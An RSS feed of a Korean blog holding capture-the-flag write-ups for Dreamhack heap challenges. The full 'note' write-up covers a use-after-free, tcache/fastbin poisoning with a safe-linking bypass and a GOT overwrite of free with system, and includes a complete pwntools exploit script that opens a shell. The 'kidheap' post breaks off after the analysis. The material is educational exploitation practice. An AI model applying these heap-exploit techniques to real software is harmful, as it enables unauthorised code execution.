<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>/Dev/Study.log</title>
    <link>https://code-learn-ing.tistory.com/</link>
    <description>혼자 노는 사이트 입니다.</description>
    <language>ko</language>
    <pubDate>Wed, 23 Sep 2026 03:06:47 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>playalone</managingEditor>
    <item>
      <title>[Dreamhack][시스템해킹] note</title>
      <link>https://code-learn-ing.tistory.com/40</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;[문제링크](&lt;a href=&quot;https://dreamhack.io/wargame/challenges/1346&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/wargame/challenges/1346&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제에는 binary 파일과 dockerfile이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에도 main함수는 존재하지 않는다. __libc_start_call_main을 통해 call rax로 main 함수에 들어온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇게 얻은 어셈블리를 디컴파일한 결과는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1788587258850&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;main() {
    func_0x4016bd();
    while(true) {
        func_0x401662();
        scanf(&quot;%d&quot;, rbp-0xc);
        if(*(int*)(rbp-0xc) == 4) {
            func_0x40127a();
            continue;
        }
        if(*(int*)(rbp-0xc) &amp;gt; 4) {
            break;
        }
        if(*(int*)(rbp-0xc) == 3) {
            func_0x401339();
            continue;
        }
        if(*(int*)(rbp-0xc) &amp;gt; 3) {
            break;
        }
        if(*(int*)(rbp-0xc) == 1) {
            func_0x4014f6();
            continue;
        }
        if(*(int*)(rbp-0xc) == 2) {
            func_0x401428();
            continue;
        }
        else {
            break;
        }
    }
};

func_0x4016bd() {
    setvbuf(stdin, 0,2,0);
    setvbuf(stdout, 0,2,0);
}

func_0x401662() {
    puts(&quot;1. create&quot;);
    puts(&quot;2. read&quot;);
    puts(&quot;3. update&quot;);
    puts(&quot;4. delete&quot;);
    printf(&quot;&amp;gt; &quot;);    
}

func_0x4014f6() {
    printf(&quot;idx: &quot;);
    scanf(&quot;%d&quot;, rbp-0x24);
    if(*(int*)(rbp-0x24) &amp;lt; 0) exit(1);
    if(*(int*)(rbp-0x24) &amp;gt; 9) exit(1);

    printf(&quot;size: &quot;);
    scanf(&quot;%lu&quot;, rbp-0x20);

    if(*(long*)(rbp-0x20) &amp;gt; 0x70) exit(1);

    *(long*)(0x4040a8 + (long)*(int*)(rbp-0x24) &amp;lt;&amp;lt; 0x4) = *(long*)(rbp-0x20);
    *(long*)(0x4040b0 + (long)*(int*)(rbp-0x24) &amp;lt;&amp;lt; 0x4) = calloc(*(long*)(rbp-0x20), 0x1);

    if(*(long*)(0x4040b0 + *(int*)(rbp-0x24) &amp;lt;&amp;lt; 0x4) == 0) exit(1);

    printf(&quot;data: &quot;);
    read(0, *(long*)(0x4040b0 + *(int*)(rbp-0x24) &amp;lt;&amp;lt; 0x4), *(long*)(rbp-0x20));
}

func_0x401428() {
    printf(&quot;idx: &quot;);
    scanf(&quot;%d&quot;, rbp-0xc);
    if(*(int*)(rbp-0xc) &amp;lt; 0) exit(1);
    if(*(int*)(rbp-0xc) &amp;gt; 9) exit(1);

    if(*(long*)(0x4040b0 + *(int*)(rbp-0xc) &amp;lt;&amp;lt; 4) == 0) exit(1);
    
    printf(&quot;data: %s\n&quot;, *(long*)(0x4040b0 + *(int*)(rbp-0xc) &amp;lt;&amp;lt; 4));
}

func_0x401339() {
    printf(&quot;idx: &quot;);
    scanf(&quot;%d&quot;, rbp-0xc);
    if(*(int*)(rbp-0xc) &amp;lt; 0) exit(1);
    if(*(int*)(rbp-0xc) &amp;gt; 0x9) exit(1);

    if(*(long*)(0x4040b0 + *(int*)(rbp-0xc) &amp;lt;&amp;lt; 4) == 0) exit(1);
    printf(&quot;data: &quot;);

    read(0, *(long*)(0x4040b0 + *(int*)(rbp-0xc) &amp;lt;&amp;lt; 0x4), *(long*)(0x4040a8 + *(int*)(rbp-0xc) &amp;lt;&amp;lt; 4));
}

func_0x40127a() {
    printf(&quot;idx: &quot;);
    scanf(&quot;%d&quot;, rbp-0xc);
    if(*(int*)(rbp-0xc) &amp;lt; 0) exit(1);
    if(*(int*)(rbp-0xc) &amp;gt; 0x9) exit(1);
    if(*(long*)(0x4040b0 + *(int*)(rbp-0xc) &amp;lt;&amp;lt; 4) == 0) exit(1);

    free(*(long*)(0x4040b0 + *(int*)(rbp-0xc) &amp;lt;&amp;lt; 4));
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;checksec은 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1788587284052&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;File:     /workspaces/dreamhack-practice/dreamhack/deploy/note
Arch:     amd64
RELRO:      Partial RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Relro가 partial이니까 got overwrite가 된다면 아주 좋을 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 보니, 며칠 전에 푼 kidheap과 매우 유사하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 점이라면, note저장을 전역 변수에 하고, 힙할당 시 calloc을 쓴 다정도?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 코드 흐름&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: start;&quot;&gt;0x4040a8은 전역변수 위치로, 짝수 위치엔 사이즈, 홀수 위치엔 data를 위한 heap 주소가 저장된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: start;&quot;&gt;1) 사용자에게 입력을 받음&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 1일 때&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.1. idx를 입력받음&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.2. idx가 0~9이면 다음으로, 아니면 프로그램 종료&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.3. size입력받음&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.4. 0x4040a8[idx][0]에 size 저장&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.5. 0x4040a8[idx][1]에 calloc한 결과의 포인터를 저장&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.6. 할당이 정상적이지 않으면 프로그램 종료&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.7. data를 입력받음&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;1.8. calloc한 힙 영역에 저장&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 2 일 때&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;2.1. idx를 입력받음&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: start;&quot;&gt;&amp;nbsp;2.2. idx가 0~9이면 다음으로, 아니면 프로그램 종료&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;2.3. idx에 맞는 data를 화면에 출력&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 3 일 때&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;3.1. idx 입력받음&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;3.2.&lt;span style=&quot;color: #222222; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;idx가 0~9이면 다음으로, 아니면 프로그램 종료&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;3.3. data를 입력받아 기존 값을 덮음&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 4일 때&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;4.1. idx를 입력받음&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;4.2. &lt;span style=&quot;color: #222222; text-align: start;&quot;&gt;idx가 0~9이면 다음으로, 아니면 프로그램 종료&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: start;&quot;&gt;&amp;nbsp;4.3 할당이 되어있다면 free&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #222222; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #222222; text-align: start;&quot;&gt;3. 가능 시나리오&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: start;&quot;&gt;오히려 kidheap보다 상황이 낫다. 일단 kidheap을 풀기도 했고, checksec조건도 훨씬 좋으며 코드도 훨씬 간단하다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가능한 공격 방법은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. delete 할 때, free 한 후 포인터를 지우지 않기 때문에 dangling pointer가 있다. uaf write, uaf read가 가능할 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 1과 같은 이유로, double free를 이용할 수 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. uaf read를 이용하면, heap leak, libc leak 등이 가능할 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 첫 시나리오&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kidheap과 마찬가지로 dangling pointer를 이용하려 했다. uaf가 가능하기 때문에, next를 변조할 수 있기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tcache의 next를 0x4040a8 내의 값으로 변조하여 data의 calloc위치를 got로 변조하여 got를 free에서 system으로 변조하려 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.1 문제 발생&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데, 문제가 생겼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;calloc이 있기 때문에 일단 heap leak을 해냈고, 이걸 이용해서 libc leak이든 뭘 하려고 했다. calloc에서 next 부분을 leak 해냈고, 이를 사용할 수 있는 부분이 있을까 찾아보고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;uaf read를 이용하여 tcache poisoning을 일으키려 했다. next 값을 변조하였으나 calloc에서는 tcache를 참조하지 않는 것인지 새로운 청크에 메모리를 할당하고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글링 해보니 calloc은 tcache를 참조하지 않고, fastbin, smallbin, unsorted bin 등을 참조한다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 두 번째 시나리오&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 그럼 tcache를 채운다. 이후, fastbin의 next값을 변조한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. 최종 시나리오&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 일단, fastbin이든, tcache든 gdb 분석결과 safe linking이 사용되고 있었고, 이때, heap주소 &amp;gt;&amp;gt; 12가 항상 있었기 때문에 safe link filter를 leak 해야 한다. 이는 tcache로 free 한 후, user data값을 읽으면 얻을 수 있다. 추후 이 값은 next 변조에 xor로 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. tcache를 채워야 한다. 그래야 나머지 bin에 청크가 해제, 할당된다. 이전 공부할 때, tcache에 저장할 수 있는 청크 개수가 한정되어있다고 한 기억이 있어 찾아보니 7개라고 한다. 7번의 힙 청크를 할당했다가 해제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. fastbin의 fd값을 변조하면 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. fd를 pie로 변조하고, 전역값을 내가 원하는 값으로 바꿀 수 있게 한 후, data 주소부분을 got주소로 변환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. got주소에서 read 하여 free의 libc값을 leak 하고, system의 주소를 offset을 통해 계산한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. got주소의 값을 system의 주소로 변환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7. 코드를 작성하며 생긴 상황/문제&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. fastbin은 single linked list인 것 같다. tcache에선 next와 tcache_key가 들어갔는데, 이번엔 next만 저장되어 있다. unsortedbin에서는 fd와 bk였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 시나리오에서 fd를 pie로 변조하고, 이 pie를 got로 변환하도록 시나리오를 구성했다. 이 이유는 calloc은 값을 0으로 하기 때문에 libc leak이 불가능하기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. next를 변조하면서 생긴 문제가 2가지 있다. calloc 하는 과정에서 기존 0x4040a8을 next로 지정하였더니 정상적으로 받아내지 못했다. 그 이유는 calloc과 malloc에서 사용하는 _int_malloc에서 문제가 터진 것이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 첫 번째 문제는 align 문제였다. test [next], 0xf 하는데, 무조건 메모리주소가 0x~~0이어야 통과가 되는&amp;nbsp; 것이었다. 이때, 0x4040a8[2][1], 즉 idx 2의 data영역인 0x4040d0의 위치로 지정하였다. fd값은 user data의 주소가 아닌, 청크의 시작 주소를 가리키기 때문에 -0x10까지하여야 prev_size, size+flag이후, 원하는 위치인 0x4040d0에 값을 변조할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 두 번째 문제는 size의 위치와 calloc에 요구한 사이즈가 다른 것이다. size의 위치인 0x4040c8위치가 0x40이 요구되면 0x50이어야하나 기존 코드의 흐름에 따라 0x40이 저장된다. 이는, idx 2의 note의 사이즈를 0x50으로 다시 할당하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 이때, free를 overwrite 한 이유는 다음과 같다. free는 free(pointer)로 작동한다. 이때, free를 system으로 변조하면, free(pointer) =&amp;gt; system(pointer)가 되고, pointer에 &quot;/bin/sh&quot;가 있다면 이는, system(&quot;/bin/sh&quot;)로 작동한다. 때문에 data가 들어있는 pointer를 사용하는 free를 system으로 변조하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;8. 익스플로잇 코드&lt;/h3&gt;
&lt;pre id=&quot;code_1788589012549&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
''' local
freeOffset = 0x00000000000add50;
systemOffset  = 0x0000000000058750;
'''
''' docker '''
freeOffset = 0x00000000000a53e0
systemOffset = 0x0000000000050d70

#p = process(&quot;./note&quot;)
p = remote(&quot;host3.dreamhack.games&quot;, 10196)

def send(n, idx=0, size=0, data=b&quot;&quot;):
    p.sendlineafter(b&quot;&amp;gt; &quot;, f'{n}'.encode())

    if(n == 1):
        p.sendlineafter(b&quot;idx: &quot;, f'{idx}'.encode())
        p.sendlineafter(b&quot;size: &quot;, f'{size}'.encode())
        p.sendafter(b&quot;data: &quot;, data)
    elif(n == 2):
        p.sendlineafter(b&quot;idx&quot;, f'{idx}'.encode())
        p.recvuntil(b&quot;data: &quot;)
        return p.recvline().split(b&quot;\n&quot;)[0]
    elif(n == 3):
        p.sendlineafter(b&quot;idx: &quot;, f'{idx}'.encode())
        p.sendafter(b&quot;data: &quot;, data)
    elif(n == 4):
        p.sendlineafter(b&quot;idx: &quot;, f'{idx}'.encode())

def fit(data, size=8):
    return u64(data + b'\x00' * (size - len(data)))

# heap leak
send(n=1,idx=0, size=0x40, data=b'a'*0x40)
send(n=4,idx=0)
# tcache, fastbin을 위한 safe linking filter 추출
safelinkingfilter = fit(send(n=2,idx=0))
print(hex(safelinkingfilter))

# tcache 채우기
for i in range(0x5):
    send(n=1,idx=2,size=0x40,data=b&quot;a&quot;*0x40)
    send(n=4,idx=2)

#fastbin 채우기
send(n=1,idx=3,size=0x40,data=b&quot;a&quot;*0x40)
send(n=1,idx=4,size=0x40,data=b&quot;a&quot;*0x40)
send(n=4,idx=3)
send(n=4,idx=4)

# fd 변조
send(n=1,idx=2,size=0x50,data=b&quot;a&quot;*0x40) # 0x40이 필요하면 0x50의 청크가 필요하기 때문에 임시로 만드는 영역. size의 위치에 0x50이 필요함.
send(n=3, idx=4, data=p64((0x4040b0+0x10*2-0x10)^safelinkingfilter)) # fd 변조

# idx4 note 가져가기
send(n=1,idx=5,size=0x40,data=b&quot;a&quot;*0x40)

# 변조된 0x4040b0+0x20 위치를 0x6에 넣기. 이때, calloc의 값이 idx2note를 가리키기 때문에 이곳의 got로 하면 overwrite 가능
send(n=1,idx=6,size=0x40,data=p64(0x404018))
# free를 system으로 변조
send(n=3,idx=2,data=p64(fit(send(n=2, idx=2)) - freeOffset + systemOffset))

# free가 system으로 바뀌었기 때문에 free(pointer)를 system(pointer) =&amp;gt; system(&quot;/bin/sh&quot;)가 필요함. 그걸 위한 청크
send(n=1,idx=3,size=8,data=b&quot;/bin/sh&quot;)

# free =&amp;gt; system 실행
send(n=4,idx=3)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;9. 결과&lt;/h3&gt;
&lt;pre id=&quot;code_1788589173757&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ python exploit.py 
[+] Starting local process './note': pid 18493
0xbc19
[*] Switching to interactive mode
$ ls
exploit.py  flag  func  note  note.c  note.s
$ cat flag
DH{**flag**}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>보안/시스템해킹</category>
      <category>DreamHack</category>
      <category>got</category>
      <category>GOT Overwrite</category>
      <category>heap</category>
      <category>note</category>
      <category>pwnable</category>
      <category>시스템해킹</category>
      <category>포너블</category>
      <author>playalone</author>
      <guid isPermaLink="true">https://code-learn-ing.tistory.com/40</guid>
      <comments>https://code-learn-ing.tistory.com/40#entry40comment</comments>
      <pubDate>Sat, 5 Sep 2026 15:26:07 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack][시스템해킹] kidheap</title>
      <link>https://code-learn-ing.tistory.com/39</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;[문제 링크](&lt;a href=&quot;https://dreamhack.io/wargame/challenges/1887&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/wargame/challenges/1887&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 binary 파일과 dockerfile이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gdb로 보면 free, puts, printf, read, strtoull, malloc, setvbuf, atoi, exit은 존재한다. main 함수는 존재하지 않으니 pet pals문제처럼 gdb로 __libc_start_call_main에서 찾아 들어갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 사용자 함수들은 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1787222476463&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;main() {
    initialize()
    puts(&quot;** Don't worry! it's just note challenge! **&quot;)

input:
    menu()
    printf(&quot;&amp;gt; &quot;)
    read(0, rbp-0xa, 2)
    *(int*)(rbp-0x10) = atoi(rbp-0xa)

    if(*(int*)(rbp-0x10) &amp;gt; 5) {
        goto input
    }
    switch(*(int*)(rbp-0x10)) {
        case 0: goto input;
        case 1: create_note(); goto input;
        case 2: delete_node(); goto input;
        case 3: edit_note(); goto input;
        case 4: print_note(); goto input;
        case 5: exit(0)
    }
}

initialize() {
    setvbuf(stdin, 0,2,0)
    setvbuf(stdout, 0,2,0)
    setvbuf(stderr, 0,2,0)
}

menu() {
    puts(&quot;1. create note&quot;)
    puts(&quot;2. delete note&quot;)
    puts(&quot;3. edit note&quot;)
    puts(&quot;4. print note&quot;)
    puts(&quot;5. exit&quot;)
}

create_note() {
    printf(&quot;idx &amp;gt; &quot;)
    *(int*)(rbp-0x1c) = set_idx()
    if(check_idx(*(int*)(rbp-0x1c)) != 0) {

        *(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060) = malloc(0x20)
        *(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x18) = malloc(0x100)
        printf(&quot;name size &amp;gt; &quot;)
        *(long*)(rbp-0x18) = set_name_size()
        *(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x10) = malloc(*(long*)(rbp-0x18))
        *(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x00) = *(long*)(rbp-0x18)
        *(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x08) = (long)(*(int*)(rbp-0x1c))

        printf(&quot;name &amp;gt; &quot;)

        read(
            0,
            *(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x10),
            *(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x00)
        )
        printf(&quot;content &amp;gt; &quot;)

        read(
            0, 
            *(long*)(*(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558060)+0x18),
            0x100
        )

        *(int*)(*(int*)(rbp-0x1c)*4 + 0x5555555580e0) = 0
        *(long*)(*(int*)(rbp-0x1c)*8 + 0x555555558120) = *(long*)(rbp-0x18)
        return *(long*)(rbp-0x18) // rbx = *(long*)(rbp-0x8)

    }
    else {
        puts(&quot;[!] out of bound!&quot;)
        return 0 // rbx = *(long*)(rbp-0x8)
    }
}

delete_node() {
    printf(&quot;idx &amp;gt; &quot;)
    *(int*)(rbp-0x4) = set_idx()

    if(*(int*)(*(int*)(rbp-0x4)*4 + 0x5555555580e0) != 0) {
        puts(&quot;[!] Already deleted!&quot;)
    }
    if(*(int*)(*(int*)(rbp-0x4)*4 + 0x5555555580e0) != 0) {
        goto f564d
    }
    if(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060) == 0) {
        goto f564d
    }
    free(*(long*)(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060)+0x18))
    free(*(long*)(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060)+0x10))
    free(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060))
    puts(&quot;[*] Delete success!&quot;)
    
f564d:
    *(int*)(*(int*)(rbp-0x4)*4 + 0x5555555580e0) = (*(int*)(*(int*)(rbp-0x4)*4 + 0x5555555580e0) == 0) ? 1 : 0
}

edit_note() {
    printf(&quot;idx &amp;gt; &quot;)
    *(int*)(rbp-0x4) = set_idx()

    
    if(*(int*)(*(int*)(rbp-0x4)*4 + 0x5555555580e0) != 0) {
        puts(&quot;[!] Already deleted note.&quot;)
        return;
    }
    if(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060) == 0) {
        puts(&quot;[!] Not exist note.&quot;)
        return;
    }

    printf(&quot;name &amp;gt; &quot;)

    read(
        0,
        *(long*)(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060)+0x10)
        *(long*)(*(int*)(rbp-0x4)*8+0x555555558120)
    )
    printf(&quot;content &amp;gt; &quot;)

    read(
        0,
        *(long*)(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060)+0x18),
        0x100
    )
}

print_note() {
    printf(&quot;idx &amp;gt; &quot;)
    *(int*)(rbp-0x4) = set_idx()

    if(*(int*)(*(int*)(rbp-4)*4 + 0x5555555580e0) != 0) {
        puts( &quot;[!] Already deleted note.&quot;)
        return;
    }
    if(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060) == 0) {
        puts(&quot;[!] Not exist note.&quot;)
        return;
    }

    printf(&quot;name : %s\n&quot;, *(long*)(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060)+0x10))

    printf(&quot;content : %s\n&quot;, *(long*)(*(long*)(*(int*)(rbp-0x4)*8 + 0x555555558060)+0x18))
}

set_idx() {
    read(0, rbp-0x12, 0xa)
    return atoi(rbp-0x12)
}

check_idx(a) {
    *(int*)(rbp-0x4) = a
    if(a &amp;lt; 0) {
        return 0;
    }
    if(a &amp;lt;= 0xf) {
        return 1;
    }
}

set_name_size() {
    read(0, rbp-0x20, 0x16)

    return strtoull(rbp-0x20, 0, 10)
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;checksec은 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1787222513143&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 말도 안되는. 그냥 다 걸려있다.&lt;/p&gt;
